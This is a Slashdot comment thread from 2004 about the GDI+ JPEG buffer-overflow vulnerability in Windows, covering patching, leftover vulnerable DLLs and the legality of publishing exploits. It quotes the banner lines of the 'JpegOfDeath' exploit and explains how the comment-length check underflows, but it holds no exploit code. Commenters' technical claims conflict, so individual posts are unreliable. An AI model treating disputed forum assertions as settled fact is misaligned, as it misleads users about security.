      Yeah, talk about bloatware... I used to use Hotmail for my email service and it clocked in at about 2 MB of storage. Now, gmail comes along, and they give me 1 GIG! I mean, where does it end? It's just email, why do I need a full gig of space for just email? C'mon gmail, add new functionality to my email instead of just loading me down with crap that takes extra space.

    41. Re:That's pretty amazing. by bitflip · · Score: 2, Insightful

      Apparently, the Outlook interface was useful enough that Evolution 2.0 copied it.

    42. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Replying to myself.

      According to this, the GDI+ issue is also in the comment handler.

    43. Re:That's pretty amazing. by Tony-A · · Score: 4, Insightful

      "It is now safe to turn off your computer." ... Quality freefall.

      It's related.
      There is an arrogance that Microsoft knows best that is implicit in that statement. Whether or not it is actually safe to turn off the computer is very much outside of Microsoft's knowledge. In fact the safest thing to do when a system is acting bonkers is to hit reset or the power switch on old computers or pulling the power plug or removing the battery on new compouter where the power switch is no longer functional. The reasoning goes that when the system has its brains scrambled it desperately wants to write those scrambled brains to disk and thus perpetuate the scramble.

      Remember when MS supposedly shut down for a month to work on security issues? That was about 4 years ago. Not only did the problems not go away, but the occurance of gaping new exploits increased significantly.

      One whole month, Well golly gee! Actually one month would be enough to stop hiding stuff and never under any circumstance use or require scripts or ActiveX controls for anything remotely related to security.
      [x] Hide files extension for known file types.
      That by itself is enough to wreck any attempts at achieving security. The message is loud and clear. Linux worms never seem to get anywhere. People see them and react violently to anything sneaking around trying to be invisible.

      Task Manager doesn't show everything. Microsoft Windows comes with a pre-installed root kit!

    44. Re:That's pretty amazing. by drsmithy · · Score: 1
      I have to ask, what has MS done that is actually useful since Windows 2000?

      If you have to ask, then clearly it isn't of interest to you anyway.

    45. Re:That's pretty amazing. by Tore+S+B · · Score: 1

      MS Office is a brilliant design, and we are thus copying it.

      Just like Windows copied the Start button, task grouping, GUI, and pretty much everything that came on top of DOS.

      But MS Office is actually a very good program.

      --
      toresbe
    46. Re:That's pretty amazing. by polecat_redux · · Score: 0, Offtopic

      Offtopic? :p Lighten up and try to appreciate a bit of humor/sarcasm. What good is life if you can't enjoy it?

    47. Re:That's pretty amazing. by spectrokid · · Score: 2, Funny

      Hey, they even managed to make vCard unsafe at one point, and that is a fucking TEXT file!!!

      --

      10 ?"Hello World" life was simple then

    48. Re:That's pretty amazing. by spectecjr · · Score: 2, Informative

      From a usability point of view, it was a pretty good improvement, especially the spam handling, but with a fairly large message store, it took at least an order of magnitude longer to access folders, etc, in O2k3 than OE.

      The first time you open the folder, it takes time to index it. After it completes indexing, it's much faster. If you don't allow the system to complete indexing before navigating away from a folder, it'll need to do it again next time you open the folder.

      If you don't want to take the time, instead of opening existing PST files in Outlook, create a new one and import the contents of the older one into it - which will do the indexing for you.

      After it has finished indexing, it's as fast - or sometimes even faster - as previous versions.

      --
      Coming soon - pyrogyra
    49. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Admit it -- you really like XP for the Fisher-Price interface, DRM and constant phoning home. I strongly prefer 2000. Think of it, it's like XP minus the useless CD burner and image viewer, which pollutes every directory with puzzling thumbnail "system" files which cause file transfers to stop. And why the hell does it delete each file individually. It can take minutes to clear a flash card in XP, whereas 2000 wipes it in seconds. It might boot slightly faster, but XP crawls.

    50. Re:That's pretty amazing. by mlush · · Score: 2, Funny
      It takes just as long to load apps now as it did 10 years ago, even though machines are 10 times faster with 100 times more memory

      Thats Gates Law: Every 18 months the speed of software halfs.

    51. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      You do realize that nearly every single point you've made is wrong, right?

    52. Re:That's pretty amazing. by lxnt · · Score: 1

      Amiga? Three minutes boot?
      A 500 from floppy? Maybe, but then you're comparing apples to oranges.
      A 1200 from hdd - about five seconds.

      --
      ./lxnt
    53. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      He said "booted up faster" too.

    54. Re:That's pretty amazing. by tod_miller · · Score: 1

      Or Quake 2 on an unpatched AMD K6-2

      quake2-patch stayed on my desktop for about 3 years before I upgraded.

      --
      #hostfile 0.0.0.0 primidi.com 0.0.0.0 www.primidi.com 0.0.0.0 radio.weblogs.com
    55. Re:That's pretty amazing. by GreyPoopon · · Score: 1
      Amiga? Three minutes boot? A 500 from floppy? Maybe, but then you're comparing
      apples to oranges.
      A 1200 from hdd - about five seconds.

      Dang youngsters...think they know everything. ;) Even the Amiga 500 took less than three minutes to boot from floppy. But the original Amiga 1000 didn't have a Kickstart ROM. It instead had to load Kickstart from floppy. So, everytime you booted the system, you inserted a Kickstart floppy and waited. After it was finished loading that, you had to swap it with a Workbench floppy to get AmigaDOS and the desktop up and running. The whole process usually took about 3 minutes or so.

      --

      GreyPoopon
      --
      Why is it I can write insightful comments but can't come up with a clever signature?

    56. Re:That's pretty amazing. by MikeDX · · Score: 2, Funny

      Winxp is chugging down at least a gig and a half, and really doesn't offer me much more than nt4 did.

      What?? Are you trying to tell us that the nice rounded safe buttons, pretty green wallpaper and network killing security issues arent worth the $150 price tag?? Surely you jest!
      To me, when I think Microsoft, I think "Small Software", ah, so much for so little, what a happy family we are!

    57. Re:That's pretty amazing. by johannesg · · Score: 1
      I guess your Amiga had no harddisk, and you were loading a lot of crap from floppy. If you had installed a harddisk you would have booted in about three seconds.

      And for the record, after those second you will find yourself in a fully-fledged graphical environment running on a multitasking OS with just about everything that modern systems offer. Man, I miss those days...

    58. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      You are confused. It is a Mozilla bug, not a Microsoft one:

      https://bugzilla.mozilla.org/show_bug.cgi?id=257 31 4

    59. Re:That's pretty amazing. by demon93 · · Score: 1

      Brought peace?

      --
      demon
      -----
      Nothing is ever a total loss; it can always serve as a bad example.
    60. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      you do need to install multipl.e updates.

      The sp2 "fix" was not a security fix as such, just the new compilation flags prevented the coding error from being epxloitable.

      Installing versions of office on xp means that inside office they are still vulnerable.

      dont quote me on that though.

    61. Re:That's pretty amazing. by notthepainter · · Score: 1
      It isn't just Microsoft that has "gone backwards" over the last 10 years or so. Apple is also guilty of it.

      First, let me say, I'm an Apple zealot, but that doesn't mean that I think everything they have done is good.

      About 4 years ago I sold a very old Macintosh laptop, a Powerbook 180c for anyone who cares. Before I did, I carefully wiped the disk, installed a fresh System 7.6.1 on it and Microsoft Word. (Which we were selling along with the laptop, no a pirate copy.)

      When checking to make sure the machine ran ok after I cleaned it, I of course tested it. I was shocked at how fast it was. It took SEVEN SECONDS to go from cold boot to an open black document in Word.

      Now yes, this machine could do so much less that today's machine, but think about it, it could also do more. 7 seconds is pretty amazing.

    62. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Gmail gets a point.
      I haven't read all of this discussion so this hopefully has not been mentioned already. I have my mail that's sent to my old email account forwarded to my gmail account. I received the virus sent to my old address but it never made it through to Gmail. And that is a good thing.

    63. Re:That's pretty amazing. by CoolVibe · · Score: 1

      KDE had task grouping before MS ever did.

    64. Re:That's pretty amazing. by Alioth · · Score: 1

      *This* is why my new laptop that I've only just ordered is a Mac, not a PC-based laptop. I got my Dad a low-end eMac for his birthday. No more expensive than the HP desktops we got at work (same amount of memory as the HP machines, same amount of disk space - but it has a display built in unlike the HP machines where you need to pay extra for a display), but it FEELS a lot faster. That and a suspend/resume mode that takes less than 3 seconds to resume. Plus a user-interface that makes Windows look amateurish, with a real (BSD) operating system underneath.

    65. Re:That's pretty amazing. by TLSPRWR · · Score: 1

      And don't get me started on the launch time for Word 2003...

      Try Word 2.0c! No, I'm not joking. It boots up in about 5-10 seconds, and has most of the features you need. Think of it as a 'WordPad' with double spacing... and everything designed for Windows 3.1...

      ...Yea yea, Why Word 2.0? Well, it was the only pirated version of Word I could find that worked and I really needed to write a paper and couldn't find the old install disk of Word 6.0 or whatever the Win98 version was... Don't sue me :(

    66. Re:That's pretty amazing. by ChairmanMeow · · Score: 1

      Yes, but they've replaced it with something even more annoying: "smart tags"

      --
    67. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      So it's not just Microsoft who has vulnerable image decoders

      So does that mean Microsoft pirates software from the open sources, bugs included?

    68. Re:That's pretty amazing. by soulsteal · · Score: 1

      DOS wasn't multitasking. It was a simple kernel with a simple shell with no networking, running one program at a time with maybe a handful of TSRs monitoring in the background.

      Not to mention program features...

    69. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      I have to ask, what has MS done that is actually useful since Windows 2000? ...erm let's see, bloat their stuff and...SELL MORE HARDWARE maybe??

      -mike

    70. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      so?

      did you have a point, or you just didnt like the discussion? either way, get over it and move on

    71. Re:That's pretty amazing. by NanoGator · · Score: 1

      "did you have a point, or you just didnt like the discussion? either way, get over it and move on"

      Yeah, I did actually. Did you miss it?

      --
      "Derp de derp."
    72. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      Much too late for anyone to notice or care about this reply, but to answer your question: in my opinion, almost certainly not.

      The fact is, Microsoft DOES use open source. And they have every right to do so, assuming they abide by the licensing terms. It just so happens that the JPEG library releases by the Independant JPEG Group has very loose terms. That fact, combined with the high quality of the implementation, has led to this library being used in the vast majority of applications out there that deal with JPEG. Microsoft probably used it. Mozilla certainly did.

      Now, the vulnerability in question did not exist in the original code. The original code skips right over JPEG comment sections, never storing them into memory. If it did neglect to check the comment size (which may be the case -- I haven't examined the code to be sure), it would be non-exploitable. So, for a program that needs to use the comments in the image, the code needs to be modified. It just so happens that it's easy to forget that the 2-byte comment size should be verified (must not be 0 or 1) before its own size (2) is subtracted from it to get the supposed length of the comment that follows.

      In any case, Microsoft introduced this bug 2 years after Netscape/Mozilla fixed it. If they're stealing code they probably wouldn't steal old versions with known exploits.

    73. Re:That's pretty amazing. by Anonymous Coward · · Score: 0

      These issues were made public a few weeks ago, but they were fixed some time before that. Mozilla always releases information about fixed vulnerabilities after a software release. It was presented on Slashdot as if it was a new discovery, and a current issue. In fact, it was not news at all. Nearly every release fixes vulnerabilities. There's nothing new about this.

    74. Re:That's pretty amazing. by LifesABeach · · Score: 1

      A similar argument was posted by Miguel over at Mono.

      Back in Augist, Miguel's argument to the guru's at Microsoft was that Mono may not have all the old API's that .NET has, but Mono doesn't have all the heart burn that the old API's bring.

      The guru's at Microsoft said in order to be backward compatible, the old API stuff had to be included also.

      From my orientation, this is the point were Microsoft Ethics over powers common sense. I don't know how the Redmond crew can maintain known bad code and still proceed on. I can't help but think that I've just answered my own question.

    75. Re:That's pretty amazing. by spectecjr · · Score: 1

      There is an arrogance that Microsoft knows best that is implicit in that statement. Whether or not it is actually safe to turn off the computer is very much outside of Microsoft's knowledge. In fact the safest thing to do when a system is acting bonkers is to hit reset or the power switch on old computers or pulling the power plug or removing the battery on new compouter where the power switch is no longer functional. The reasoning goes that when the system has its brains scrambled it desperately wants to write those scrambled brains to disk and thus perpetuate the scramble.

      That message merely indicates that the OS has halted in a known state where all files have been closed, and the OS is no longer running.

      It only appears on systems which cannot automatically turn their own power off.

      Resetting due to a crash has nothing to do with turning the power off - which is the only time you'll get that message.

      Please learn the difference.

      --
      Coming soon - pyrogyra
    76. Re:That's pretty amazing. by KenSeymour · · Score: 1

      Here's the CERT entry. It is from a week ago:

      http://www.kb.cert.org/vuls/id/847200

      --
      "We can't solve problems by using the same kind of thinking we used when we created them." -- Albert Einstein
    77. Re:That's pretty amazing. by fugginsuds · · Score: 1

      No, it was the Times New Romans.

    78. Re:That's pretty amazing. by Tony-A · · Score: 1

      The difference is NT workstations which have never had their software reloaded.
      The difference is NT workstations which have uptimes depending almost completely on how good the UPSs are.
      The difference is an NT Domain controller with a half-decent UPS that be up for 2 or 3 years as a good guess.

      Close all files and halt takes how long?
      It's doing something else. Even Microsoft isn't that bad.

    79. Re:That's pretty amazing. by Tony-A · · Score: 1

      Resetting due to a crash has nothing to do with turning the power off - which is the only time you'll get that message.

      Please learn the difference.


      Message?
      Crash?

      No crash. No messsage. Just something steps out of line a bit.
      Terminate with extreme prejudice. Killing power is quite effective.

    80. Re:That's pretty amazing. by spectecjr · · Score: 1

      Close all files and halt takes how long?
      It's doing something else. Even Microsoft isn't that bad.


      If you're so allegedly smart, figure it out and let us know what it *is* doing. Don't just guess and talk bullshit the way you are now. Provide evidence for your position.

      --
      Coming soon - pyrogyra
    81. Re:That's pretty amazing. by Tony-A · · Score: 1

      If you're so allegedly smart, figure it out and let us know what it *is* doing.

      It doesn't take a lot of smarts to know that it is hardly necessary to know exactly what something is doing to know that it is doing something.

      "That message merely indicates that the OS has halted in a known state where all files have been closed, and the OS is no longer running."

      Evidence.
      I assume that purports to explain what happens on a system shutdown.
      That explanation fails to account for the time consumed.
      In the time unaccounted for, Microsoft software is doing something.
      Microsoft does not want to give any indication as to what it is doing.
      I'e seen a couple of systems killed by going through the approved shutdown procedure, none by killing power.

  6. Viva Windows by myamid · · Score: 1

    Hopefully not too many people get hit by this...
    Meanwhile, I'm just happy I don't run windows at home!!

    1. Re:Viva Windows by devilspgd · · Score: 1

      Yeah, good point, what with image-based buffer overruns being unhead of on Linux.

      It's not like libpng or Mozilla/FireFox/ThunderBird were found to be vulnerable to similar issues or anything within the last month either.

      --
      Give a man a fish, he'll eat for a day, but teach a man to phish...
    2. Re:Viva Windows by Tore+S+B · · Score: 1

      I'm not complaining about your (completely valid) point, just nitpicking your spelling of "Firefox" as "FireFox" and other such MisCapiTaliZations of CoNnecTed words ;)

      --
      toresbe
    3. Re:Viva Windows by devilspgd · · Score: 1

      ARe yOU sAYiNG yOU WoUlD preFER 'lEEt sPEaK?

      Okay okay, point taken. Habit, and a bad one at that...

      --
      Give a man a fish, he'll eat for a day, but teach a man to phish...
    4. Re:Viva Windows by myamid · · Score: 1

      Yeah, good point! Although those exploits were
      1- Application specific and easily patched whereas this bug can reoccur simply by installing an app which would overwrite the GDI library with an older unpatched version.
      2- Such a bug under a non-MS OS is admittedly annoying... But let's admit that the odds are nobody would care enough to create an valid worm/virus
      3- Who ever said I was running Linux anyways...? :-P

      Cheers!

    5. Re:Viva Windows by devilspgd · · Score: 1

      #1) In the case of pnglib, it wasn't just an application, it was a widely used library. Also note that if applications installed their DLLs in the system directory like they're supposed to, no application could override the current one with an older (vulnerable) one.

      2) If Linux had an installed base large enough to be worth attacking, it would be attacked.

      3) This IS /. afterall... It's not an unreasonable assumption.

      --
      Give a man a fish, he'll eat for a day, but teach a man to phish...
  7. Application Embedding by artlu · · Score: 1

    This exploit could also be used by inserting the code into certain applications that render JPEG images while running. Also, email worms that have JPEG images attached with the code could cause mass havoc. Glad im on OSX!

    gShares.net

    --
    -------
    artlu.net
  8. Fasten your seat belts... by rolling_bits · · Score: 1

    Here we go again... Hold on... woooooowww. :) I hope I'm safe enough by not using many Microsoft apps, but I'm not sure about that. Sucks.

    1. Re:Fasten your seat belts... by myamid · · Score: 1

      Considering that this affects any windows which uses MS GDI libraries...! I read somewhere (zdnet I think), that apps that don't even use them often times install the bad library (ie: Macromedia apps come to mind) so nobody running on windows is safe from this one, not until AV apps catch-up at least!

    2. Re:Fasten your seat belts... by rainman_bc · · Score: 1

      The Heuristics in Norton already catch this. There was a download earlier, inside a zip file, that Norton deleted right away. Very impressive.

      --
      09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    3. Re:Fasten your seat belts... by Anonymous Coward · · Score: 0

      "Help me pay for my wedding and click an ad . . ."

      Forget about paying for a wedding dude, that is the least of your concerns. It is during the marriage and subsequent divorce that you will *really* be bled dry.

      Paying a few grand for her wedding will seem like small potatoes by that time.

    4. Re:Fasten your seat belts... by Anonymous Coward · · Score: 0

      Insightful!!

  9. Just begging to be sued by TheSpoom · · Score: 4, Interesting
    printf(" | JpegOfDeath - Remote GDI+ JPEG Remote Exploit |\n");
    printf(" | Exploit by John Bissell A.K.A. HighT1mes |\n");
    printf(" | September, 23, 2004 |\n");
    Geez, this guy really wants to be sued and/or arrested.
    --
    It's better to vote for what you want and not get it than to vote for what you don't want and get it.
    - E. Debs
    1. Re:Just begging to be sued by Anonymous+Freak · · Score: 4, Informative

      This is the guy who published the "proof of concept" exploit, not the virus that is in the wild. He is as likely to be sued as "DVD Jon" would be sued for breaking CSS. Oh, wait.....

      --
      Another non-functioning site was "uncertainty.microsoft.com."
      The purpose of that site was not known.
    2. Re:Just begging to be sued by Anonymous Coward · · Score: 0

      Er, do realize that's not the virus' source code, just the sample exploit that was released earlier this week to prove that this is dangerous....

    3. Re:Just begging to be sued by boredMDer · · Score: 1

      Just because he wrote an exploit doesn't mean that he's using it illegally.

      Can't arrest someone for merely writing a piece of code.

    4. Re:Just begging to be sued by malakai · · Score: 1

      He's an ass for giving the script kiddies something easy to mod and use, but it's not illegal.

      Either way, some moronic programmer looking for props from some lame IRC channel would have written a functioning full featured exploit for the script kiddies sooner or later.

    5. Re:Just begging to be sued by d_jedi · · Score: 4, Funny

      I got my lawyer on the phone, but he couldn't look up any legal info.. seems he was viewing some p[r]on, and all of the sudden, his computer stopped working..

      Damn Jay Peg with his viruses..

      --
      I am the maverick of Slashdot
    6. Re:Just begging to be sued by lukewarmfusion · · Score: 4, Insightful

      "Can't arrest someone for merely writing a piece of code."

      coughcoughpatriotactcoughcough

    7. Re:Just begging to be sued by BiggerIsBetter · · Score: 2, Insightful

      ...in JAPAN! But in the US, you probably can be.

      --
      Forget thrust, drag, lift and weight. Airplanes fly because of money.
    8. Re:Just begging to be sued by thogard · · Score: 2, Funny

      So is Billy G an ass for giving the script kiddies something easy to use too?

    9. Re:Just begging to be sued by toetagger1 · · Score: 5, Informative

      Google finds a whole lot of exploids for this guy. Ranging from apache to AIM away message buffer over runs.

      --
      who | grep -i blond | date cd ~; unzip; touch; strip; finger; mount; gasp; yes; uptime; umount; sleep
    10. Re:Just begging to be sued by Anonymous Coward · · Score: 0

      No! Bill G is a dick!

    11. Re:Just begging to be sued by Atmchicago · · Score: 1

      Actually, John Bissell is probably his boss. The guy who wrote the virus is a disgruntled employee, and now he's laughing his ass off as his boss gets taken to jail.

      --

      You can lead a horse to water, but you can't make it dissolve.

    12. Re:Just begging to be sued by Turmio · · Score: 1

      Under what indictments? I can't see developing of proof-of-concept code is illegal. He hasn't break into any systems by writing it or let loose a worm.

    13. Re:Just begging to be sued by paulproteus · · Score: 1

      Just because he published that exploit doesn't mean he's not using it illegally. ;-)

      --
      |/usr/games/fortune
    14. Re:Just begging to be sued by microsage · · Score: 1

      Actually, the patriot act doesn't have anything to do with suing people... and it's actually about getting information about people who fit its description of terrorists. It doesn't really have much to do with prosecuting at all. So maybe, if they stretched the law, and classified releasing an exploit as an act of terrorism, then they could use the patriot act to get information like the books he gets out of the library and some bank records. But that has nothing to do with prosecuting him for it.

    15. Re:Just begging to be sued by Anonymous Coward · · Score: 0
      But that has nothing to do with prosecuting him for it.

      Getting your hands on someone is step one in butt-fucking him. All they have to do then is use the info gathered using the PA and try him for economic terrorism.

    16. Re:Just begging to be sued by Anonymous Coward · · Score: 0
      Under what indictments? I can't see developing of proof-of-concept code is illegal. He hasn't break into any systems by writing it or let loose a worm.

      That didn't stop civil suits against gun manufacturers.

    17. Re:Just begging to be sued by DrMrLordX · · Score: 1

      That guy was also just begging to get #FurQ on irc.p2pchat.net flooded with slashdotters.

      Sadly, nary a one of the clients logged on to that channel seemed to be virus victims. Oh well.

    18. Re:Just begging to be sued by jcr · · Score: 1

      So is Billy G an ass for giving the script kiddies something easy to use too?

      Yes. Next question?

      -jcr

      --
      The only title of honor that a tyrant can grant is "Enemy of the State."
  10. Can be prevented... by pbranes · · Score: 4, Informative

    Update your systems now! The patch has been out for several weeks. I have already applied it to my corporation via SUS (which is free) and am rolling out the office patch now, as well. There is no reason other than laziness or sysadmin ignorance for this to be another massive virus attack.

    1. Re:Can be prevented... by Zocalo · · Score: 5, Informative

      Yes it has. Unfortunately like many Microsoft patches it gives you a nice fuzzy sense of false security. According to Microsoft, I'm nice and safe, but according to Tom Liston's GDIScanner and a quick perusal of the file versions, I'm quite possibly not. Fortunately my virusscanner *does* seem to pick up on this, but that's no thanks to Microsoft.

      --
      UNIX? They're not even circumcised! Savages!
    2. Re:Can be prevented... by iabervon · · Score: 1

      I've been using the
      SUS for a while, and it's done a good job of limiting the damage from this sort of thing. I never knew it was available for Windows, though...

    3. Re:Can be prevented... by MedHead · · Score: 1

      Tom's scanner says my Microsoft Shared\Ink GDI file is vulnerable, but Microsoft says everything's okay on my computer. What's up with that?!

    4. Re:Can be prevented... by antifoidulus · · Score: 2, Funny

      SUSE is also free, and will solve the problem....:P
      Sorry, couldn't resist that one.

    5. Re:Can be prevented... by Saratoga+C++ · · Score: 5, Informative

      Sorry to burst your bubble dude, but that patch only fixed the system's instance of GDI+ There are a ton of apps that have their own version of GDI+ built on their own app path. just because you use the patch that doesn't mean that its actually fixed.

      Say your using app X that uses GDI+ to render its own image stuff (say its a picture album maker). It keeps its own version of GDI+ that the developers extended for their own reasons. This GDI+ is vonerable. After patching this older version of GDI+ is still on your system so that app is vonerable...

      So buyer beware.

    6. Re:Can be prevented... by EnronHaliburton2004 · · Score: 3, Interesting

      Since this virus also affects MS Office, I bet it may be propogated that way.

      Most people update their system via windowsupdate.microsoft.com . However, despite the rumors, Windowsupdate does NOT update your MS Office suite.

      Very few people go the extrastep to use the MS office updater.

    7. Re:Can be prevented... by Zocalo · · Score: 1, Interesting
      It means that you still have a Microsoft application that needs patching, "Ink" - is something to do with with either Tablet PC or frp, one of their dev kits. Lucky you; that sounds like you can isolate a patch fairly easy. My vulnerable files are in the SP2 uninstall directory and, more critically, "\Windows\WinSxS". The former is easy enough to deal with, but the latter which means I have almost no way of knowing which application stuck them there or what might break if I simply delete them.

      I'm guessing that only the application that installed them there can actually call them since their appears to be a serial number in the folder name. Certainly that *specific* version of the DLL would need to be in use to be exploited, but I'm not sure whether it is possible for a malicious web app to seek out and deliberately call a vulnerable version of a DLL stored under WinSxS.

      At the moment, I see two options to resolve this issue, other than simply relying on my virus scanner.

      1. Find out which applications "own" the vulnerable DLLs by starting to every third party application on my systems and watching which files get opened.
      2. Delete the vulnerable files and see what breaks as and when. Then hope that I can resolve all of the issues with Windows' system file integrity function that this appears to create.

      I don't consider either of these a satisfactory solution to the problem, quite frankly, and I think that Microsoft needs to address this issue PFQ.

      --
      UNIX? They're not even circumcised! Savages!
    8. Re:Can be prevented... by Anonymous Coward · · Score: 0

      Really? Back when I used Win98se (only a year ago since I stopped), Update would provide patches and updates for both Works Suite and Office...

    9. Re:Can be prevented... by Anonymous Coward · · Score: 0

      > no reason other than laziness or sysadmin
      > ignorance for this to be another massive virus
      > attack

      This patch isn't two weeks old yet!

      Get back to me when you run a network that loses more money per minute than you gross in a month and tell me how fast you patch your network.

    10. Re:Can be prevented... by EnronHaliburton2004 · · Score: 1

      Yeah, I agree with you that it used to work. In fact, after I upgraded from Win98 to Win2k, it took me a year to realize that my MS Office was out of date (I don't use it that often).

      Well just this weekend I used windowsupdate on two Win2k computers. Today I used windowsupdate on an XP machine.

      Windowsupdate did not update any MS Office components. The page had a link to the Office Updater, and that page showed several vulnerabilities.

      The MS Office Updater specifically installed a patch for these GDI+ bugs. Since few people use the Office Updater,

    11. Re:Can be prevented... by glob · · Score: 4, Informative

      > Sorry to burst your bubble dude, but that patch
      > only fixed the system's instance of GDI+

      while we're bursting bubbles, the patch from microsoft contains a tool that scans your hard disk for all vulnerable gdi dlls.

      --
      nostrils
    12. Re:Can be prevented... by dcr · · Score: 1

      Actually, I can't be sure that the Micro$oft patch is worth even what I pay for it.

      Since Micro$oft won't disclose whether this vulnerability affects older versions of Office, Windows, etc. (knowing Micro$oft's history, I would not be surprised if this actually dates back to Office 97 and Windows 9x)

      All the Micro$oft tool appears to do is look for the latest versions of the file - at least the Tom Liston's tool (http://isc.sans.org/gdiscan.php - mentioned on /. earlier today) looks for the vulnerability itself. Irritating, but predictable...

    13. Re:Can be prevented... by Anonymous Coward · · Score: 1, Informative

      Take note of any applications Tom's scanner finds are vulnerable and check the company site. For example, my Macromedia products are reported as vulnerable, but Macromedia is officially stating otherwise:

      http://www.macromedia.com/devnet/security/securi ty _zone/mpsb04-07.html

    14. Re:Can be prevented... by westyvw · · Score: 1

      There is no reason other then lazyness???? Are you using MS products?? The only thing to do now is shut off all web browsing and remove all JPEGS from emails. Thats what big corporations like the one I work for do. We cant afford to play around with Micosofts patches and risk serious downtime if something goes wrong. Deployment will take weeks at least. Damn I wish we were running Linux with thin clients, this wouldnt be an issue, and it isnt because linux is safer, its just easier to test against, particularly with one machine.

    15. Re:Can be prevented... by dabug · · Score: 3, Informative

      From Tom Liston's site:

      "Ignore files in directories like Windows\$NtUniinstallKBxxxxx\ and Windows\WinSxS. These are old versions left behind for uninstal purposes."

    16. Re:Can be prevented... by Anonymous Coward · · Score: 5, Informative

      while we're bursting bubbles, the patch from microsoft contains a tool that scans your hard disk for all vulnerable gdi dlls.

      Another bubble bites the dust! It detects, but does not fix the problem. Nor does it even tell you where the problem is. This was covered earlier today.

    17. Re:Can be prevented... by simcop2387 · · Score: 1

      could always rename the files and then see what breaks....

    18. Re:Can be prevented... by brainiac · · Score: 1

      The vulnerable dll is called gdiplus.dll and could be spread all over your system. The Microsoft patch only fixes specific ones. Run this on some of your machines to see if you are still vulnerable. I bet you find at least one dll it didn't fix.

      http://isc.sans.org/gdiscan.php

    19. Re:Can be prevented... by stemcell · · Score: 2, Funny

      Say your using app X that uses GDI+ to render its

      Oh no, not X too.

      Stem

    20. Re:Can be prevented... by Anonymous Coward · · Score: 0

      > We cant afford to play around with Micosofts patches and risk serious downtime
      > if something goes wrong.

      You use Microsoft but don't apply patches because something might go wrong? If you don't apply patches then something WILL go wrong, unless you wish to rely on luck to keep you out of trouble. When did you last have a problem installing a Microsoft patch? It's pretty easy - you just run an exe. Why not have all the PCs on your system run a file from a read-only part of your server and place any updates there?

    21. Re:Can be prevented... by Snaller · · Score: 1

      Yes there is one reason: You can't just download a specific patch for this: You have to get SP2 or tons of other files - which i'm not going to do, there is bloat enough in their system as it is.

      --
      If Google really cared they would fix Android Chrome to reflow text, instead of discriminating
    22. Re:Can be prevented... by Zocalo · · Score: 4, Informative

      Not strictly true. "WinSxS" is short for "Windows Side-by-Side" which according to my research over the last few days is a horrible hack to try and allow different apps to use different versions of the same DLL on the same system. So, suppose we have three versions of the DLL; v1 and v2 are vulnerable, v3 is not. Windows comes with v2, but I install a graphics viewer that requires and installs v1 as part of its install - v1 goes into "WinSxS". When I install the MS patch, the vulnerable v2 version is replaced with the secure v3 and MS tells me all is well, but if I open a bad JPEG with my graphics viewer, it loads the v1 DLL and my PC belongs to someone else.

      --
      UNIX? They're not even circumcised! Savages!
    23. Re:Can be prevented... by ViolentGreen · · Score: 1

      That is hands-down the stupidest reason I have ever heard for not having an operating system patched.

      --
      Not everything is analogous to cars. Car analogies rarely work.
    24. Re:Can be prevented... by westyvw · · Score: 1

      I appreciate the comments, but in large orginazations this is not an option. It just cant be done.

    25. Re:Can be prevented... by Snaller · · Score: 1

      Wow, a Microsoft employee.

      --
      If Google really cared they would fix Android Chrome to reflow text, instead of discriminating
    26. Re:Can be prevented... by Threni · · Score: 1

      > I appreciate the comments, but in large orginazations this is not an option. It
      > just cant be done.

      What is it about large organizations which makes it impossible for all PCs on the network to run

      \\BigServer\Support\Updates.bat

      as part of the boot sequence?

  11. Hello by Anonymous Coward · · Score: 0, Offtopic

    www.goatse.cx

    Someone tell me, thats not a virus, is it?

    1. Re:Hello by borl · · Score: 2, Funny

      No, just a backdoor.

    2. Re:Hello by Anonymous Coward · · Score: 0

      No but you can get AIDs looking at it!

  12. A new era of exploitation by SlashdotMirrorer · · Score: 2, Interesting

    This sort of thing ushers in a new era of exploitation in which the warnings of security professionals in the past have been proven dreadfully wrong. Only the bearded terminal hackers are invulnerable to this one, typing away at their command lines being all, "What JPGS?". No longer can we simply give advice on security based on our assumptions as to what is possible and what is not. We must pay the piper and actually consider attack vectors that have formerly not been feasible.

  13. It's times like this... by Awptimus+Prime · · Score: 1

    I wish Snort had intrusion prevention capability. = wink wink=

    1. Re:It's times like this... by Anonymous Coward · · Score: 0

      actually, the development version does. It's called snort-inline which was taken from the snort-inline project: http://snort-inline.sourceforge.net/

    2. Re:It's times like this... by agent+dero · · Score: 1

      Actually, I'm working on hacking a drop-in intrusion detection system from Perl to C. NetSQUID (NetSQUID/C)

      It is basically one way we, here at Texas A&M, keep virus traffic and the likes on the low.

      It basically just sets firewall rules based on snort alerts

      --
      Error 407 - No creative sig found
    3. Re:It's times like this... by Anonymous Coward · · Score: 0

      http://snort-inline.sourceforge.net/ Does what you're asking for.

    4. Re:It's times like this... by PGillingwater · · Score: 1


      I wish Snort had intrusion prevention capability. = wink wink=


      You mean like the Snort Inline capability which has now been included in the 2.3 version?

      --
      Paul Gillingwater
      MBA, CISSP, CISM
  14. The real question... by comwiz56 · · Score: 3, Interesting

    Does this affect Firefox?

    1. Re:The real question... by The+Jonas · · Score: 1

      Another real question is how many working test .jpg's were there released into the wild and downloaded in the days preceding this announcement? How many systems are already likely compromised?

    2. Re:The real question... by Thunderbird1 · · Score: 1

      Does it run on Linux?

    3. Re:The real question... by Anonymous Coward · · Score: 0

      Did you really read the topic? Did you check out the Microsoft security bulletin?

      http://www.microsoft.com/technet/security/bullet in /MS04-028.mspx

      Of course it affects Linux. You are using Microsofts GDI library on Linux, right?

  15. Well... by Pantero+Blanco · · Score: 4, Funny

    It was only a matter of time. Now we wait for a dozen variants to pop up.

    "This could possibly be the worst viruses yet!"

    Hm...maybe when he started typing there was only one and it spread during the sentence?

    1. Re:Well... by b1scuit · · Score: 1
      dozen? We should be so lucky.

      Keyboard error... press F1 to resume.

    2. Re:Well... by CoolMoDee · · Score: 1, Troll

